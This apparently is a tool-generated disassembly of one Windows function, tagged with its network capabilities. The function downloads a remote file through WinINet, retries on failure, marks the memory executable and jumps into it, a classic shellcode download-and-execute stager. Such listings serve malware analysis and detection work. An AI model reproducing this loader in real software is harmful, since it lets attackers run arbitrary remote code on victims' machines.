Function at 0x180001eb0
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x180034008]
xor rax, rsp
mov qword [rbp - 8], rax
xor edi, edi
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], 7
mov word [rbp - 0x28], di
lea r8d, [rdi + 0x2b]
lea rdx, [0x18002f840]
lea rcx, [rbp - 0x28]
call fcn.1800028a8
nop
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
jne 0x180001f60
lea rdx, str.Failed_to_initialize_WinINet.
call fcn.180002f58
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.180002dd0
mov dl, al
mov rcx, rbx
call fcn.1800034e0
mov rcx, rbx
call fcn.180002bf0
jmp 0x18000213b
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rdx, qword [rbp - 0x28]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x84000100
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r14, rax
test rax, rax
jne 0x180001fd1
lea rdx, str.Failed_to_open_URL._Retrying_in_6_seconds...
call fcn.180002f58
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.180002dd0
mov dl, al
mov rcx, rbx
call fcn.1800034e0
mov rcx, rbx
call fcn.180002bf0
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180001f60
mov dword [rbp - 0x38], edi
mov ebx, 4
mov dword [rbp - 0x34], ebx
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x34]
lea r8, [rbp - 0x38]
mov edx, 0x20000005
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x180002032
lea rdx, str.Failed_to_get_file_size.
call fcn.180002f58
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.180002dd0
mov dl, al
mov rcx, rbx
call fcn.1800034e0
mov rcx, rbx
call fcn.180002bf0
jmp 0x1800020b5
mov edx, dword [rbp - 0x38]
mov r9d, ebx
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x180002057
lea rdx, str.Failed_to_allocate_memory.
jmp 0x180002002
mov dword [rbp - 0x30], edi
lea r9, [rbp - 0x30]
mov r8d, dword [rbp - 0x38]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1800020c9
lea rdx, str.Failed_to_read_file.
call fcn.180002f58
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.180002dd0
mov dl, al
mov rcx, rbx
call fcn.1800034e0
mov rcx, rbx
call fcn.180002bf0
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x18000213b
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rbp - 0x2c], edi
mov edx, dword [rbp - 0x38]
lea r9, [rbp - 0x2c]
mov r8d, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180002142
lea rdx, str.Failed_to_set_memory_page_protection.
call fcn.180002f58
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.180002dd0
mov dl, al
mov rcx, rbx
call fcn.1800034e0
mov rcx, rbx
call fcn.180002bf0
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 1
jmp 0x180002156
call rsi
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp - 0x28]
call fcn.180002844
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180003630
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret